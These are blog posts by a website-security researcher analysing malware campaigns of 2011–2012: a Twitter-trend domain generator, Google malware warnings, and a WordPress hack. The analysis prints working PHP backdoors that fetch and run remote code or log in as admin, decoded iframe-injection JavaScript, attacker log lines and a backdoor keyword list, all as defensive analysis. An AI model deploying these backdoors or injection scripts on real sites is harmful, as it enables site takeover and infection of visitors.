convallis auctor sapien, sit amet bibendum ligula condimentum ac. Vivamus blandit molestie enim vitae bland ...skipped... //e feugiat. Etiam elit elit, hendrerit et varius non, molestie consectetur ipsum. Nullam sapien sem, mattis nec tempus non, elementum vitae ligula. Maur ...skipped... })(function(jsBb) { return (function(jsB, jsBs) { return jsBs(jsB(jsBs(jsB(jsBb))))(jsBb)() })((function(jsB) { return jsB.constructor }), (function(jsB) { return (function(jsBs) { //accumsan dapibus diam ...skipped... }); /**/ gloa(); For some reason, hackers thought that comments in Latin would make their code look more legitimate, more reputable. But for me, the Latin comments were like a huge alert message — who would want to use Latin in JavaScript comments? It just doesn’t make sense. Lorem Ipsum Moreover, after some inspection, the Latin text appeared to be a random mixture of word from the classic “Lorem Ipsum” text. This text is used as a placeholder text in publishing and graphic design to have people focus on the visual presentation of elements rather than reading the text. But I doubt someone cares about visual presentation of a normally invisible html code and there is no point in providing comments if they are unreadable. Making the attack sustainable Anyway, this change in the formatting of the malicious script was probably one of the multiple tricks that aimed to improve the whole sustainability of the attack. In this case, they changed the code so that it doesn’t resemble a typical malicious script with a single line of an obfuscated code. The goal is to increase the infection period (time before a webmaster identifies the source of a problems and removes the script). However malicious scripts on infected web pages is not the only thing that contributes to success of an attack. Most drive-by attacks rely on some third-party malicious sites where malware is being actually loaded from. Such sites have domain names and IP addresses that can be easily blacklisted by antivirus software, browsers and firewalls — this can significantly affect the attack performance. Moreover, authorities can suspend offending domains and request hosting providers to shut down malicious sites and whole servers. This attack uses several interesting solutions to address such threats. Generating domain names on the fly To avoid blacklisting, hackers have to frequently change domain names of their malware distributing websites. This particular attack rather than regularly updating injected scripts to use new links to malware sites, uses Twitter API (trends) and a clever algorithm to generate new pseudo-random domain names of attack sites on the fly. It’s a new version of the algorithm that I described two years ago. Here’s an overview of this new algorithm. It uses Twitter API (http://api.twitter.com/1/trends/daily.json) to get a list of trending topics that were hot two days ago. Depending on the current time, it extracts the fourth topic from the list of trends for one of the following hours: 01:00, 07:00, 13:00 or 19:00 (in some rare cases they may use 02:00, 08:00, 14:00 or 20:00) The extracted trending topic is used as a key in a domain name generating algorithm. The algorithm just returns a permutation of characters in the key and uses the first 10-13 of them as a new domain name. To address edge cases where a trending topic is less than 10 characters long and to improve the random nature of permutations, they append the word “microscope” to the trending topic before applying the algorithm. As a result, the algorithm generates domain names like: dgeocanyaf .com, ocooecunrpbn .com, snrrstrcocri .com (more domain names here), that change every 6 hours. The attackers have almost two days to register them (they register them just a few hours before the use though). Then the script builds a URL of a malicious page, adding the “/index.php?tp=001e4bb7b4d7333d” path to the generated domain names. The resulting URL is used to create an invisible iframe that pushes exploits to web browsers of people who visit infected web pages. The benefit of this approach is the attack can easily survive if some domain is blocked or unavailable for some reason — it only means not more than 6 hours of downtime. On the other hand, if someone reverse engineers the algorithm (like I did) they can use the same algorithm to blacklist or sinkhole the domain names before they become malicious. So what’s new comparing to that two year old version of the attack? The main differences from the previously described algorithm, are: 1. Hardcoded year 2012. This proves that the attack is still active and the attackers don’t want to abandon this Twitter based approach to generate domain names. 2. Instead of just 2 domains, they generate and use 4 new domains every day, and change them every 6 hours. 3. The domain generating algorithm no longer uses predefined suffixes for the generated domains. They used to have 12 month-specific predefined suffixes that helped easily identify the attack when you knew where the infected page tried to load the malicious content from. The current algorithm generates completely random domain names that don’t have any easily identifiable parts that can help classify them as belonging to this attack. Online Demo To show how this domain generating algorithm works, I’ve create an online tool that uses the same algorithm to predict malicious domains in real time. It shows 4 today’s malicious domains and predicts 4 domains that should be used by the attack tomorrow (more or less, depending on your time zone). To make it more informative, I’ve provided two links for each domain name Whois — to show whether the domain is registered and if it is then show who and when registered it (in most cases you’ll see the current date) Google’s Safe Browsing diagnostic — to show whether Google has already picked up the malicious domain (this usually happens by the end of the 6-hour lifespan of that domain) Just to make this tool a little bit less boring, each domain name is accompanied by a corresponding Twitter trending topic that was used to generate that domain name. For example, as I write this article on January 25th, the current malicious domain is “dgeocanyaf .com” and the corresponding Twitter trending topic from January 23rd is “Happy Year of the Dragon“. The domain was registered on January 25th, 2012 and Google already lists it as suspicious. The upcoming malicious domain is “epljsxiomccg .com” and the corresponding Twitter topic is “Judge Alex“. The domain is already registered but Google doesn’t list it as suspicious (no wonder – it is not active yet). The first predicted domain for January 26th (GMT time zone) is “mrrcatsphmoin .com” and the corresponding trending topic from January 24th is “Mr. and Mrs. Smith“. This domain is not registered yet (it should be by the time when you read this article) and Google doesn’t know about it yet. If you are interested in the code of the algorithm, you can check the source code of the web page of this online tool. OnlineNIC Domain Resellers If you analize the Whois information for those domains, you can see that they all have been registered via OnlineNIC Inc. To register domains, the attackers used a few supposedly fake accounts – all of them marked as “reseller“. So what does it mean to be an OnlineNiC’s domain reseller? 1. Anyone can register to be a reseller. The prices begin from $94 of prepayment (you can use them later to purchase domains). 2. OnlineNIC provides “an API/template system to make it a snap for you to get started. In a matter of minutes, you can easily integrate private-labeled real-time domain name registration services right into your own Web site!” So what is that API? According to the documentation: “The application program interface (API) is a set of routines and criterion and protocols by OnlineNIC. … It makes you and your client easier to complete products purchase, management, and info-query and so on via API.” Here are just a few things that this API allows to do: Check domain availability Register domain Create Name Servers Update domain Name Servers So, resellers can use this API to create a program that will automatically purchase and manage domains. That’s a perfect solution for this attack, isn’t it? DNS-DIY The reseller account comes with free DNS-DIY DNS service that allows to manage A records and customize Name Servers (“Add the domain which you are using as dns at www.DNS-DIY.net, then create CNAME Records for ns1.yourcompany.com and ns2.yourcompany.com so that they can be pointed to ns1.DNS-DIY.net and ns2.DNS-DIY.net.” – that’s why you can see ns(1|2).malicious-domain.com as Name Servers of those malicious domains in Whois) There should be no surprise that DNS-DIY has an API too — so all operations can be automated. Zombie-computers as fast flux hosting The DNS-DIY API is used for a good reason. Not only do the attackers need it to initially configure new domains to point to certain servers, but they also use it to avoid taking down the malware distributing servers. This attack uses a technique called Fast flux hosting (if I use this term correctly). Here’s how it works. When the attackers register a new domain, they create two A records for each domain. This means that each domain points to two different IPs and it’s up to your DNS software which of them to use. These two A-records help achieve two goals: load balancing – the traffic is split between two servers if one server is shut down or unavailable for some reason, the other server will still be processing requests. However, it is not the most interesting thing in the fast-flux scheme. After all, the second server can be shut down too. The most interesting thing is how the attackers choose which two IPs to use in A records. The thing is the IP addresses in the A records change every 6 hours, the same way as they change the domain names used in this attack. Here is a list of 120 unique IP addresses that I collected over the last few days (not only did they use them for new domains but also updated A records of some older domains). The analysis of those IPs shows that they all belong to IP blocks of cable, broadband and even wireless ISPs from all around the world: Australia Melbourne Telstra Internet Austria Linz Liwest Kabelfernsehen Errichtungs- Und Betriebs Ges.m.b.h Austria Vienna Oebb Telekom Service Gmbh France Paris Free Sas Germany Kabel Deutschland Breitband Service Gmbh Germany Leipzig Primacom Berlin Gmbh Italy Chieti Telecom Italia S.p.a Italy Telecom Italia Mobile Netherlands Amsterdam Upc Broadband Operations B.v, Netherlands Barneveld Matrix Pc B.v Philippines Makati Pldt Poland Telewizja Kablowa Kolobrzeg Agencja Uslugowo – Reklamowa Sp. Z O.o United States Richmond Comcast Cable Communications Inc United States Houston AT&T Internet Services United States Kyle Road Runner Holdco Llc Venezuela, Bolivarian Republic Of Barquisimeto Internet Cable Plus C. A, and many more … This proves that instead of real web servers, the malicious domains point to infected computers of normal web surfers, so called bots or zombie-computer. This approach is not new. For example, two years ago I described how Koobface used web servers on infected PCs. Nginx reverse proxies If you check HTTP header of responses from the malicious sites, you’ll notice that they all have the same “Server: nginx/0.7.65; X-Powered-By: PHP/5.3.2-1ubuntu4.10” headers. Although the headers suggest that the remote computer runs Ubuntu Linux distribution, it is hard to believe that hackers found so many vulnerable Ubuntu workstations all over the world connected to the Internet via regular ISP services. Moreover, they all have the same versions of Ubuntu, PHP and Nginx. The answer to this is Nginx. This is a popular web server known to easily handle large volumes of traffic. It is popular within cyber criminals both for its ability to reliably work under heavy load and for it’s reverse-proxy feature that helps to hide the real malware distributing server behind the layer of proxies. The most probable scenario Cyber criminals have a program on a C&C (command and control) server that is scheduled to do the following things: Use their domain generating algorithm and the OnlineNIC API to register a new domains. Then ping their botnet and identify a few zombie-computers with reliable Internet connections and public IP addresses. Using the DNS-DIY API, setup DNS records for the new domain. Specifically create two A records that point to two zombie-computers selected in the step 2. For some older domains, update A records with new IPs selected in the step 2. For more old domains, remove one A record and point the other to 127.0.0.1 or remove it altogether (dispose of the domain) There is an Nginx web server on every zombie-computer. (There is a Windows version of Nginx) that processes requests to malicious URLs (hxxp://malicious-domain .com/ index.php?tp=001e4bb7b4d7333d) Nginx servers on zombie-computers work in a reverse proxy mode. They transmit every request to some remote server that actually distributes the malware and then return that server’s response back to clients (in our case to web browsers that loaded infected web pages). The “PHP/5.3.2-1ubuntu4.10″ header is actually from that remote server (reverse proxies pass most headers from the proxied servers). Counter measures It is clear that the attack constantly evolves and changes but given its current state it is possible to identify its weak sides and suggest some counter measures. Hijack the domain generating algorithm. Interested parties can blacklist domains before they turn malicious (or at the very moment) or register them before the criminals do it. Of course, the algorithm will change, but it doesn’t take long to reverse engineer it and it will take quite some time for hackers to update their infrastructure to use a new algorithm and update the malicious code on all infected web pages. Have OnlineNIC close the reseller accounts that the cyber criminals used for registering those domain names. If you check the Whois records of the domains, you’ll see that they were registered using the same few accounts (some of them). Of course, it is possible to register new reseller accounts, but if OnlineNIC agrees to cooperate, it will be easy to close rogue accounts as soon as they begin register new malicious domains. It is clear, that the attack infrastructure relies on APIs of OnlineNIC and DNS-DIY, so if they can’t use them it may disrupt the attack. Don’t let the parasites use your resources. Keep your computers and websites malware-free. I can’t tell for sure how exactly the malicious code is being injected into legitimate web pages (I couldn’t find webmasters of infected sites who would want to help me in my investigation :( ), but I see some signs that the attack could use stolen FTP credentials. If this is true, webmasters should thoroughly scan they computers for malware, change all site passwords (and refrain from saving them in FTP clients) and then remove the malicious code from files on server. Update (Feb 18, 2012): Thanks to foks, I’ve received some very interesting information about this attack. Please read the update here. Some highlights of what you will find there: Confirmed FTP attack vector. google_verify.php and auto_append_file trick in .htaccess. New buggy version of the malicious script. Detailed clean up instructions. ## Additional information and your comments are welcome. Similar posts: Lorem Ipsum and Twitter Trends in Malware. Update. Hackers Use Twitter API To Trigger Malicious Scripts Twitter API Still Attracts Hackers How Criminals Defend Their Rogue Networks – abuse.ch Introduction to Website Parasites
Matt Cutts on Malware Denis — Wed, 11 Jan 2012 11:32:00 +0000 Video highlights: Use Safe Browsing diagnostics — false positives are very unlikely http://www.google.com/safebrowsing/diagnostic?site= The problem might have been caused by a third-party content (ads, widgets) that you use on your site But in most cases the problem is in the malicious content/behavior added by hackers. Malware review via Google Webmaster Tools. prove ownership use the Diagnositics -> Malware section for information on malware issues (e.g. examples of URL were malware was found, and samples of the found malicious content) Once you fix the problem, click on the “request a review” link — your site will be reviewed during the next few hours. Fetch as Googlebot. – useful tool to diagnose security problems when hackers hide malicious content from normal human visitors and only show it for search engine spiders (cloaking) — this is quite a prevalent type of website hacks (part of massive Black Hat SEO campaigns). .htaccess — is a popular target of website hacks. For example, hackers can add conditional rules to redirect all search engine traffic to a third-party website. SQL-injections — another trick where hackers can exploit bugs in web applications that fail to properly sanitize user input — as a result, malicious content can be injected into site’s database. Finding malware may be tricky. Don’t only check the source code of your web pages. Check what browsers receive from your web server (both the page code and the HTTP headers). You might want to play with different scenarios. Warning: please use specialized tools and do it only in a controlled sandboxed environment, otherwise malware may infect your computer. direct visit visit from a search engine visit with clean cookies (first time visit) visit using different browsers (IE, Firefox, Chrome) visit from from different IPs and countries Keep your system up to date. Change passwords. Unmask Parasites :) - Matt called this site a “really useful place to talk about all the different attacks that are currently going on”. Selected Tweets (Oct-Nov 2011) Denis — Mon, 21 Nov 2011 15:11:26 +0000 Selected short messages and links you might have missed if you don’t follow me on Twitter. It has been a while since the last Tweet Week. The main reason is I don’t tweet that often now to post my tweets every week and I don’t want to post old news here either. So what happened? The answer is I can’t get used to Twitter web interface – it is so inconvenient. I had to use it when I had some strange problems with my Twitter client (twhirl). Thank’s god, I’ve finally made my twhirl work so I hope I will be able to tweet more often. Anyway, here are some of the latest tweets. November 15, 2011 [h-online] Joomla! updates close security holes – attackers can change Joomla passwords. Upgrade ASAP [seoarmada com au] Webmaster’s story about how the recent WordPress attack affected his four sites November 9, 2011 Unmask Parasites is on Google+ now — I’ll post things that are too long for Twitter and too short for blog November 3, 2011 [TheRegister] Thousands of WordPress sites commandeered by Black Hole — not sure why it mentions my older article (G+) November 2, 2011 Google will selectively crawl resources behind POST requests October 31, 2011 RT @stopbadware: In May, @unmaskparasites discussed canonical hacks on our blog. Google announces protection today. October 30, 2011 Mozilla updated my “Readable SafeBrowsing” extension to v0.2.5. — if you use FireFox and read SafeBrowsing diagnistic pages October 26, 2011 [h-online] MyBB downloads were infected — download package for MyBB v1.6.4 contained a backdoor October 21, 2011 [armorize] “jighui /urchin.js” script injection on ASP.NET sites. — Did hackers confused Breton with Brazilian? If you want more real-time experience, you can follow @UnmaskParasites on Twitter or circle Unmask Parasites on Google +. Related posts: Previous Tweet Weeks Why Does Google Consider Some Images Malicious? Denis — Fri, 18 Nov 2011 13:15:10 +0000 The other day I received an email from a webmaster whose site was blacklisted by Google. In Webmaster Tools, he found the following example of a malicious code detected on his site (domain changed): <img src="http://example .net/images/logos/rssicon.png" /> So why did Google think this image tag was malicious? Can images be malicious? After all they are not scripts, iframes or embedded executable objects that that hackers use to attack web surfers. It turns out, images can really make Google blacklist your site. In that particular case, the image was from a third party site and it was (as its name suggests) just an RSS icon. A normal legitimate file. The only problem was the third party site got hacked and attackers modified its .htaccess file to redirect search traffic to malicious sites (like here). Subsequently, that “example. net” got flagged by Google. Cross-site warnings Sometimes it’s enough for your site just to load something from a blacklisted site to get a warning. For example, Google Chrome has so called “cross-site warnings“. When you open a website that is not currently blacklisted, Chrome can detect (in real time) that a page loads something (usually scripts or iframes) from a known blacklisted site. In this case you will see the infamous red malware warning. The only difference from a normal warning will be the words that “website at contains elements from the site , which appears to host malware…“. These cross-site warning only (reliably) work in Google Chrome. And since websites that contain elements from malicious site are not blacklisted at the moment, there will be no malware warnings in Webmaster Tools (until Google discovers malware on your site). So the webmaster couldn’t find that code in Webmaster Tools if that was just a cross-site warning. Broken links can be dangerous too Let’s get back to that hacked site. It’s .htaccess file also contained rules to redirect all erroneous requests (e.g. requests with error codes 404 Not Found, 400 Bad Request, 401 Unauthorized, 403 Forbidden and 500 Internal Server Error ) to malicious sites. In our case, that rssicon.png file was missing for some reason, thus requests to this file returned the 404 error code and got redirected to a bad site. So every time when someone loads a page with that img tag, behind the scenes, one browser request goes to a malicious site. This is probably what Google malware scanners detected and this was the reason for flagging that website with the rssicon.png img tag. Images in third party widgets Another real world example is the current problem with Blogger blogs that use some fishy “page views counter widget” from bloggerwidgets .cz .cc. Google says, this site has infected 169 blogs. All infected site has the following “counter widget” code demo .bloggerwidgets .cz .cc/counter2.php?page=xxxxxxxxxxxxxxxxxxx&digit=4" alt="counter" /> As you can see, this code loads an image from demo .bloggerwidgets .cz .cc. I guess it is supposed to display views count. However, the “bloggerwidgets .cz .cc” domain seems to be discontinued and now redirects all requests to a scam site. Are those images malicious? Can those images from hacked/redirecting sites be really dangerous for visitors to a site that embeds the images via an tag? Well, I think such tags are “mostly harmless” ;) Modern browsers seem to correctly handle such redirections and simply don’t process server responses in unsupported formats (the malicious redirect returns some HTML code where an image is expected). But who knows, maybe some older browsers under certain conditions may misinterpret the scope of the redirection and navigate a browser to a bad site (after all this is what browser exploits are all about — they allow to do undocumented stuff). To webmasters Anyway, whats’ more important for webmasters is that image tags can really be the source of malware warnings. So here are some basic tips on how to deal with such situations: 1. Where possible, don’t use images and other resources (e.g. scripts, objects, etc) from third-party sites. You might want to copy the files to your own server (if their license permits this). 2. If you have to embed resources from third party sites (counters, widgets, ads), check how trustworthy and reputable they are (e.g. compare Facebook widget and the “bloggerwidgets .cz .cc” widget). 3. If Google blacklists your site and mentions some tag as the source of the problem, you should remove that tag (or replace the image with some placeholder with similar dimensions to preserve page formatting) from all pages and then request a malware review via Google Webmaster Tools. 4. In case you don’t see any samples of malicious code in Webmaster Tools (for example, if you haven’t registered your site with Webmaster Tools yet) you might want to check Google’s Safe Browsing diagnostic page for your site: http://www.google.com/safebrowsing/diagnostic?site=example.com Just replace “example.com” with your site domain. On the diagnostic page, check domains mentioned in the “What happened when Google visited this site?” section. If your site links to some images on those domains you need to remove them before requesting a malware review. 5. If you really want to use those images on your site, you should contact the owners of the sites they reside on and ask to clean them up and have Google unblock them. Once those third party websites are clean you can link to their images again. Note, the above instructions only apply to situations when Google blacklists your site because of the tags that you added to your site yourself. If you find some image tags or other HTML code that don’t belong to your site and you never added them yourself, this will be a whole different story that requires different remediation steps (for example, the most important step will be to figure out how that alien code was injected into your web pages.) Related posts: Practical Guide to Dealing With Google’s Malware Warnings Htaccess Redirect to Example.ru/dir/index.php Readable SafeBrowsing Add-on for Firefox 4+ Introduction to Website Parasites /tmp/wp_inc or Not Your Typical WordPress Attack Denis — Wed, 09 Nov 2011 12:10:08 +0000 This post will provide a very detailed and rather technical description of the latest massive WordPress hack. I find it interesting in many ways. Mainly because it’s so atypical. If you don’t have time to read the whole article, you can head directly to the short description of the attack and then to the Summary section where I talk about what’s new, strange and uncommon in this attack. Or if you are a webmaster of a hacked blog, go to the “To Webmasters” section – it will help you resolve the problem. According to Unmask Parasites statistics and the help requests I received this weekend, we have a new prevailing website infection that affects WordPress blogs. Google specifies “nl.ai” as the source of the problems and currently reports 8,526 infected domains (and given the limited coverage of Google’s data we can safely estimate at least 30,000 infected blogs) A typical Safe Browsing diagnostic page say something like this: Malicious software is hosted on 1 domain(s), including nl.ai/. or Malicious software is hosted on 3 domain(s), including hdghd.c0m.li/, hdghdg.c0m.li/, hdfhfd.c0m.li/. The infection is detectable by Unmask Parasites. Malicious content Typically, in the <head> section of web pages, you will find a script that looks like this: eval(function(p,a,c,k,e,d){e=function(c){return(c...skipped...werCase|opera|webtv||setTimeout|windows|http|userAgent|1000|jnhfj|navigator|ai|showthread|php|72241732'.split('|'),0,{})) Here is the decoded variant: function MakeFrameEx(){element=document.getElementById('yahoo_api');if(!element){var el=document.create Element('iframe');document.body.append Child(el);el.id='yahoo_api';el.style.width='1px';el.style.height='1px';el.style.display='none';el.src='hxxp://hgdhgd .nl .ai/showthread.php?t=72241732'}}var ua=navigator.userAgent.toLowerCase(); if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1){var t=setTimeout("MakeFrameEx()",1000)} In the very beginning, you can see an additional layer against admins who are curious enough to decode the script but too naive to believe it’s a legitimate code that uses Yahoo API ;-) . But if you read further, you will see the code that injects a hidden iframe to Internet Explorer browsers. In this particular case, the iframe load malicious content from hxxp://hgdhgd .nl .ai/showthread.php?t=72241732. Hackers regularly update the malicious script on compromised sites to change the iframe URL. Here are just a few URLs that I’ve seen during this weekend. hgdch .nl .ai/showthread.php?t=72241732 juyfdjhdjdgh .nl .ai/showthread.php?t=72241732 kjgfg .nl .ai/showthread.php?t=72241732 jnhfj .nl .ai/showthread.php?t=72241732 hzdgh .nl .ai/showthread.php?t=72241732 hgdhgd .nl .ai/showthread.php?t=72241732 hjbh .nl .ai/showthread.php?t=72241732 hgdfhd .coom .in/showthread.php?t=72241732 unter .myz .info/showthread.php?t=72241732 gdasgdsa .c0m .li/showthread.php?t=72241732 jopek .fr .nf/showthread.php?t=72241732 All these domains point to the same server in Russia: 95 .163 .66 .209. Or later to 178 .18 .87 .141 By the way, new exotic TLDs are getting popular within cyber criminals: .ai (Anguilla), .li (Liechtenstein) and .nf (Norfolk Island) How the attack works Short version Malicious hackers exploit a vulnerability in WordPress themes and plugins (I suspect the TimThumb vulnerability) to upload a backdoor file. They use the backdoor file to plant another backdoor code into wp-config.php They pass a specifically crafted code in requests to compromised blogs. Among other things, that code creates the /tmp/wp_inc file with a malicious JavaScript. In wp-settings.php they create a functions that loads the content of /tmp/wp_inc into the head section of WordPress pages. Detailed attack description Although the TimThumb vulnerability has been discovered more than three months ago and has been patched since then, it remains the most exploitable security hole in WordPress. Hundreds of themes and plugins use this thumbnail utility and it’s hardly possible to upgrade them all (and all the blogs that use them) in three months. At the same time, webmasters of compromised blogs usually remove the malicious code from web pages and update timthumb.php but fail to find and remove all uploaded backdoor file — so even with the new TimThumb, their blogs remain vulnerable to subsequent attacks. Backdoors So step #1: Hackers upload a backdoor file to your server. This could happen a few days ago or a couple of months ago. In either case, hackers have access to your site now. For example, on one infected server, I found the following upd.php file in the wp-content directory $file = $_GET['file']; $pass = $_GET['pass']; $true = 'c0c7c76d30bd3dcaefc96f40275bdc0a'; if ($pass == $true){ $ch = curl_init($file); curl_setopt($ch,CURLOPT_RETURNTRANSFER,true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $shell = curl_exec($ch); curl_close($ch); $tmp = md5(rand(0,10000)); $f = fopen($tmp.'.php',"w"); fputs($f,$shell); fclose($f); header("Location: $tmp.php"); } ?> wp-config.php This is the first WordPress hack where I see a backdoor code injected into the wp-config.php file. It may be difficult to spot it. Hackers use the same trick that we usually see in tainted .htaccess files: at the very bottom of wp-config.php they add a couple of thousand blank lines, then the following code and then another couple of thousand blank lines. if (isset($_GET['pingnow'])&& isset($_GET['pass'])){ if ($_GET['pass'] == 'd67d8ab4f4c10bf22aa353e27879133c'){ if ($_GET['pingnow']== 'login'){ $user_login = 'admin'; $user = get_userdatabylogin($user_login); $user_id = $user->ID; wp_set_current_user($user_id, $user_login); wp_set_auth_cookie($user_id); do_action('wp_login', $user_login); } if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); $fnm = md5(rand(0,100)).'.php'; $fp = fopen($fnm, "w"); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); fclose($fp); echo ""; } if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $re = curl_exec($ch); curl_close($ch); eval($re); }}} Here you can see three main actions that can be completed using this backdoor code: Log into your WordPress blog as admin (pingnow=login) Copy a remote file to your server and open it in a browser (pingnow=exec) Execute a php code from a remote file (pingnow=eval) Here are typical requests to that backdoor in wp-config.php 91.196.216.20 - - [04/Nov/2011:06:47:24 -0600] "GET /?pingnow=eval&file=hxxp://91.196.216.20/collect/ping.txt&pass=d67d8ab4f4c10bf22aa353e27879133c HTTP/1.1" 200 162 "-" "-" 91.196.216.20 - - [04/Nov/2011:06:47:26 -0600] "GET /?pingnow=eval&file=hxxp://91.196.216.20/collect/parse.txt&pass=d67d8ab4f4c10bf22aa353e27879133c&key=inurl%3Aajaxfilemanager+jnq HTTP/1.1" 200 981 "-" "-" 91.196.216.20 - - [04/Nov/2011:06:49:41 -0600] "GET /?pingnow=eval&file=hxxp://91.196.216.20/tt.php&pass=d67d8ab4f4c10bf22aa353e27879133c HTTP/1.1" 200 162 "-" "-" GET requests to backdoors? Hmm… Note that requests come form the IP address 91 .196 .216 .20. Remote files also reside on that server. This IP is already known for other WordPress hacks that used the TimThumb vulnerability. Ping The first request evaluates code from the remote /collect/ping.txt file. Basically it should only print the “‘okey’” message — this means the backdoor code is still there. Distributed Google search The /collect/parse.txt request is more interesting. Here’s the PHP code of parse.txt. $key = trim($_GET['key']); for($i=0;$i<10;$i++){ $st = $i * 100; $url = 'http://www.google.com/search?q='. urlencode($key).'&num=100&start='.$st; echo "$url\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $head = curl_exec($ch); curl_close($ch); preg_match_all('/href=(\'|\")http:\/\/(\S*)(\"|\')/', $head, $page_links, PREG_PATTERN_ORDER); $res = $page_links[2]; foreach($res as $itogo){ if (strpos($itogo, 'google') === false) {echo "http://$itogo\n";} } } exit(); These requests conduct Google searches and display up to 1,000 search results. In the above logs, they searched for [inurl:ajaxfilemanager jnq]. That search can return links to websites that have an exploitable ajaxfilemanager vulnerability. So why do they search using hacked sites? The answer is they need thousands of results for hundreds of searches (Google dorks). This amount of search results can only be retrieved using automated tools. But Google forbids automated requests and usually blocks offending IPs after a few dozens of such requests. The workaround is to search from multiple IPs (distributed search). So if they have access to compromised sited on 1,000 of unique servers and each IP can be (temporarily) blocked after say 10 queries (usually more) then hackers can expect to retrieve up to a million search results every days. /tmp/wp_inc Now the main tt.php request: $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'hxxp://91 .196 .216 .20/eu_deb'); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch,CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); $z = curl_exec($ch); curl_close($ch); $t = sys_get_temp_dir(); $f = fopen($t.'/wp_inc',"w"); fputs($f,$z); fclose($f); if (file_exists($t.'/wp_inc')) { echo ('test'); } exit(); This code downloads the hxxp://91 .196 .216 .20/eu_deb file and copies its content into the wp_inc file in the system’s temporary directory (usually /tmp). During this past weekend, the eu_deb file contained the malicious “eval(function(p,a,c,k,e,d)…” script. Then its content changed. Right now I can see an HTML code with a hidden link to a doorway on another hacked WordPress blog: kids clothes As you can see, the tt.php requests to the backdoor code updates the injected malicious content. This is how hackers changed the script on infected blogs and this is why most of the infected blogs became “clean” overnight without any action taken by their webmasters (hackers just replaced the malicious script with the spammy link). wp-settings.php OK, the malicious content is in the /tmp/wp_inc file. But how does it make it into WordPress pages? To do it, hackers modify the wp-settings.php file where they add the following code: function check_wordpress(){ $t_d = sys_get_temp_dir(); if(file_exists($t_d . '/wp_inc')){ readfile($t_d . '/wp_inc'); } } add_action('wp_head', 'check_wordpress'); You can see the rogue “check_wordpress” function that loads the content of the /tmp/wp_inc file. It is “hooked” to the “wp_head” action. In other words, this function is executed every time when WordPress builds the header part of WordPress pages. To Webmasters Detect Most of you will only detect this problem when Google blacklists your site. Check the diagnostic page. If Google mentions “nl.ai” as the source of the problem then the chances are it’s the infection covered in this post. Keep on reading. Now that the attackers replaced the injected code with some spammy links, Google will no longer flag your site for malware. So you still need to be able to figure out whether your blog is compromised or not. Begin with checking integrity of your WordPress files. Check wp-config.php and wp-settings.php for the above mentioned malicious code (1 and 2). You can also scan your raw access logs for requests from “91 .196 .216 .20” and requests that contain the following strings: “pingnow=eval“, “tt.php“. Clean up Remove the malicious code from wp-config.php and wp-settings.php. In case of wp-settings.php, it may be easier to replace it with the file from the official WordPress package. For example, here you can get the official wp-settings.php for WordPress 3.2.1 http://core.svn.wordpress.org/tags/3.2.1/wp-settings.php. For other versions, select the appropriate tag (version) here: http://core.svn.wordpress.org/tags/. Prevent reinfections 1. Remove the backdoor code from wp-config.php if you haven’t done it yet. Hackers have full control over your site while it is there. 2. Find and upgrade all themes and plugins that use vulnerable versions of timthumb.php (1.x). If there are no official upgrades, consider replacing timthumb.php with the latest version: http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php 3. Find and delete all backdoor files that hackers might have uploaded to your site. 3.1 You might want to completely delete wp-admin and wp-includes directories and then restore them from the official WordPress package. 3.2 Compare all files of WordPress themes and plugins with their genuine copies provided by their vendors. 3.3 Check what’s inside the ./cache directories next to timthumb.php files. This is the first location where attackers upload files using the timthumb security hole (of course, those files might be no longer there). Normally, there should be no .php files there. 3.4. Check other directories under wp-content. There should be no .php files below the uploads directory. 3.5 Search for the backdoor file I mentioned in the beginning of this post. 3.6 Scan all files on server for the keywords that can be usually found inside backdoors. eval(base64_decode gzuncompress gzinflate eval(stripslashes edoced_46esab FilesMan This is not a complete list. There are many elaborate backdoors that you won’t find using these searches, but they can help you find more than 80% of backdoors that I regularly come across. Note, some of these searches will also return perfectly legitimate files. You’ll have to verify the legitimacy of the found files yourself. 3.7 Scan logs for suspicious requests. It is usually enough to only check POST requests. In WordPress, every POST request to a .php file should be immediately suspicious. The only exceptions are requests WordPress admin interface from your IP address (or addresses of legitimate WordPress users) requests to wp-cron.php from your server’s IP address requests to wp-comments-post.php (readers that post comments) requests to xmlrpc.php. Call for data: If your blog was affected by this hack and you have raw logs for the whole November (a couple of the last months of raw logs even better), I would like to hear from you. Your logs can help me reconstruct the attack from the very beginning. Thanks for collaboration! 4. Block the “91 .196 .216 .20” IP address. For example, you can manually add something like this to your topmost .htaccess file order allow,deny deny from 91.196.216.20 allow from all Or you can do it via your host’s Control Panel. 5. Consider disabling execution of .php files in directories where there shouldn’t be any executable files. E.g. wp-content/uploads/ or any images/ directories. 6. If your WordPress administrator’s user name is “admin“, create a new user with the administrator role and remove the “admin” user. Change passwords of the rest WordPress users. Consider changing MySql password too. 7. Upgrade WordPress to the latest version. The older WordPress you use the more security holes it has. Summary This was a long technical post. But I hope it was worth it to delve into all those details. It is not your typical WordPress hack. Here we can find many new and uncommon tricks and techniques. They may be a little naive and not as efficient as the tricks that we’ve seen before, but at least I can see some creativity here. I guess, the buzz around the TimThumb vulnerability helped some new players realize how easy it was to enter the web site hack arena. Imagine that you know that millions of WordPress blogs have this security hole. You only need to hire a PHP developer with some basic knowledge of WordPress who can create a scanner (to find vulnerable blogs), some backdoor scripts and a way to automate the process. That PHP developer probably didn’t have access to common exploit tools and had to reinvent the wheel. That’s why we see so many new tricks. By the way, here’s my list of what’s uncommon in this attack: Backdoor code in wp-config.php Malicious PHP code is not obfuscated. In all files. 